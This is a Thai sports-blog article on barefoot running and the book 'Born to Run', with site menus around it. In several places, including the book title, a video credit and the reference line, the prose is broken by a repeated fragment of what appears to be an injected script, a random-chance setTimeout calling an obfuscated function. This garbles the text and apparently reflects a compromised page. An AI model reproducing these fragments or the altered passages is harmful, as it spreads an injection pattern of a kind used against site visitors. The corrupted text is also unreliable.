• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ค้นหาความสุขของคนวิ่ง BAREFOOT ที่คุณอาจจะไม่รู้มาก่อน

kan by kan
11 July 2018
in Running Tips, Tips & Technics
0
BAREFOOT
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เพื่อนนักวิ่งเคยสังเกตุรองเท้าวิ่งในงานแข่งขันบ้างดูไหมครับ…จะมีนักวิ่งกลุ่มหนึ่งที่ใส่รองเท้าแปลกๆ ที่มีห้านิ้วโผล่ออกมา นี้ไม่ใช่รองเท้าแฟชั่นหรือรองเท้าประเภทไฮเทคอะไรเลย แต่เป็นรองเท้าที่ใส่เพื่อป้องกันหนังผิวเท้าของเหล่านักวิ่งสาย Minimalist ที่เรียกว่า นักวิ่งเท้าเปล่า หรือนักวิ่ง Barefoot นั่นเอง

ค้นหาความสุขของคนวิ่ง BAREFOOT ที่คุณอาจจะไม่รู้มาก่อน

กลุ่มนักวิ่งเท้าเปล่ามีมานานในเมืองไทยแต่ยังไม่เป็นที่รู้จักมากนัก แม้ในช่วงที่เริ่มมี Running Boom ก็ตาม ถือว่าเป็นกลุ่มนักวิ่งที่ Niche มาก (เฉพาะทาง) แต่เมื่อมีหนังสือเล่มหนึ่งที่ชื่อว่า “Born to Run: A Hidden Tribe, Superathletes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Greatest Race the World Has Never Seen” เขียนโดยนาย Christopher McDougall ผู้ลงทุนฝั่งตัวเอง ใช้ชีวิตดื่มกินไปกับเผาชาวพื้นเมืองเม็กซิโกที่มีพฤติกรรมวิ่งด้วยเท้าเปล่าได้เป็นหลายร้อยไมล์โดยไม่มีอาการบาดเจ็บเลย จากนั้นโลกก็มีการตื่นตัวและให้ความสนใจเกี่ยวกับประโยชน์ของการวิ่งเท้าเปล่า รวมถึงเมืองไทยด้วย

ถ้าจะให้พูดกันตรงๆ ตามที่สังเกตมา คนวิ่งเท้าเปล่าจะแบ่งได้เป็น กลุ่มนักวิ่งที่มีประสบการณ์ มีความสามารถวิ่งระดับฟูลและอัลตร้ามาราธอนได้ดี และกลุ่มหนึ่งที่มีอาการบาดเจ็บเวลาวิ่ง จึงเปลี่ยนมาวิ่งแบบเท้าเปล่าดู พวกเขาจึงได้ค้นพบว่าการวิ่ง เท้าเปล่า นั้นนอกจากจะให้ประโยชน์ในด้านการพัฒนา performance และช่วยลดอัตราการเกิดอาการบาดเจ็บได้ด้วย

หนังสือ Born to Run มีต้นเหตุเพราะว่า ทำไม่เวลาวิ่งเท้าเราจึงเกิดอาการเจ็บ วิ่งแล้วปวด เจ้าอาการบาดเจ็บ มันต้องมีสาเหตุและเราต้องทำอะไรผิดพลาดสักอย่าง…ข้อมูลนั้นสามารถหาได้จากหนังสือ Born to Run ครับ ได้ไขแจ้งเขียนอธิบายเป็นหลักทฤษฎีที่น่าสนใจและเป็นที่ดีเบตไปทั่ว ทั้งยังสร้างแรงบันดาลใจให้นักวิ่งรุ่นใหม่ๆ ทดลองวิ่งด้วยเท้าเปล่ากันมากขึ้น ใครที่ลองแล้วส่วนมากก็ไม่กลับไปใส่รองเท้าวิ่งเลยก็มีและกลุ่มนักวิ่ง เท้าเปล่า พวกเขาจึงดู Enjoy กับการวิ่งมากกว่ากลุ่มอื่นๆ มากด้วย…เพราะอะไรเรามาดูกัน

BAREFOOT

  1. กลับสู่ธรรมชาติ แม้รองเท้าวิ่งปัจจุบันจะอัดแน่นไปด้วยเทคโลโลยี แต่ก็ล้วนโหยหาความเป็นธรรมชาติ การถอดรองเท้าวิ่งตีนเปล่าจะช่วยให้คุณได้ฟังเสียงร่างกายชัดขึ้น คุณต้องมีสมาธิจดจ่อกับการลงเท้า ไม่สามารถวางเท้าสบายๆ ไม่คิดอะไรมากเหมือนตอนใส่รองเท้าได้ นั้นทำให้ประสาทสัมผัสมีความแหลมคม มีสมาธิ ได้ยินเสียงการหายใจ เสียงนกร้องสองข้างทาง ใบไม้ไหวตามแรงลม หรือแม้แต่เสียงนักวิ่งตามหลังชัดเจนยิ่งขึ้น
  2. ปรับจูนร่างกายใหม่ใหม่ แม้หนังสือจะบอกว่าการวิ่งด้วยเท้าเปล่าคือท่าวิ่งที่ถูกต้อง เป็นธรรมชาติที่ควรจะเป็น และการวิ่งเท้าเปล่า จะช่วยคุณไม่ให้การบาดเจ็บหวนกลับมาได้อีกก็ตาม แต่การที่จะให้นักวิ่งทั่วไปทดลองวิ่งเท้าเปล่าเลยนั้น ดูจะเสี่ยงไปหน่อย หากฝืนไปก็รั้งจะทำให้เกิดอาการบาดเจ็บได้ การวิ่งเท้าเปล่าจะต้องค่อยๆ ฝึก และทำเหมือนการสะสมระยะทาง เหมือนตอนที่คุณฝึกวิ่งแรกๆ ประโยชน์อย่างหนึ่งที่คุณจะได้ถ้าทดลองฝึกวิ่งเท้าเปล่าสลับวิ่งใส่รองเท้าธรรมดา นั้นคือ จะทำให้ร่างกายมีการปรับ Posture ท่าวิ่งใหม่ในการลงเท้า การเอนตัว มัดกล้ามเนื้อใหม่ๆ ชิ้นเล็กๆ ชิ้นน้อย ได้ทำงาน มัดกล้ามเนื้อเดิมๆ ที่ใช้ฝึกวิ่งก็จะได้พัก (Recovery) สร้างความแปลกใหม่ให้การฝึกวิ่งไม่น่าเบื่อ
  3. เป็นอิสระ นักวิ่ง barefoot นอกจากจะถอดรองเท้าทิ้งแล้ว บางครั้งก็ถอดนาฬิกา GPS ทิ้งไว้ที่บ้านด้วย การฝึกวิ่งที่ต้องดูความเร็ว ดูเวลา ดู Heart Rate และดูจับระยะทาง ก็ทำให้ร่างไม่ยอมรับฟังเสียงร่างกายตัวเอง เกิดความไม่เชื่อมั่น พะว้าพะวง ทดลองถอดอุปกรณ์อิเล็กโทรนิคและรองเท้าไว้ที่บ้านดูครับ วิ่งเท้าเปล่าบนสนามหญ้าหรือเส้นทางที่คุ้นเลย ก็จะพบว่าเราสามารถทำความเร็ววิ่งได้ดีอย่างน่าตกใจเลยละ

ถ้าใครอยากรู้ว่าจะเริ่มเรียนวิ่งเท้าเปล่าได้ที่ไหน เรามีคลิปดีๆ จากเพจ The Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard ที่แนะนำการวิ่ง Barefoot โดยปรมาจารย์นักวิ่งเท้าเปล่าชาวญี่ปุ่น เคซัง หรืออัตสึยูกิ คัตสึยะมะ มาแนะนำกันครับ อาจารย์เขาสอนให้ฟรีๆ ด้วยนะ เเถมได้สังคมใหม่ๆ ด้วย

ใครที่สนใจอยากวิ่งก็ใจเย็นๆ ไว้ก่อนนะ การวิ่งเท้าเปล่าก็เหมือนการฝึกวิ่งใหม่อีกครั้ง กล้ามเนื้อต้องการเวลาในการปรับสภาพ ใส่รองเท้ามานานกล้ามเนื้อมันก็ชินต่อการใช้งานรูปแบบเดิมๆ การปรับมาวิ่งเท้าเปล่าก็ต้องให้กล้ามเนื้อชุดใหม่ได้สร้างความแข็งแรงขึ้นมาใหม่

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-advice%2F3-ways-to-measure-body-fat-why-body-fat-matters”>therunningbug.com,The Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard

Tags: BAREFOOTbarefoot runing
ShareTweetShare
kan

kan

Related Posts

Barefoot Running Part 1 (วิ่งเท้าเปล่าภาค 1)
Running Tips

Barefoot Running Part 1 (วิ่งเท้าเปล่าภาค 1)

22 December 2014
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.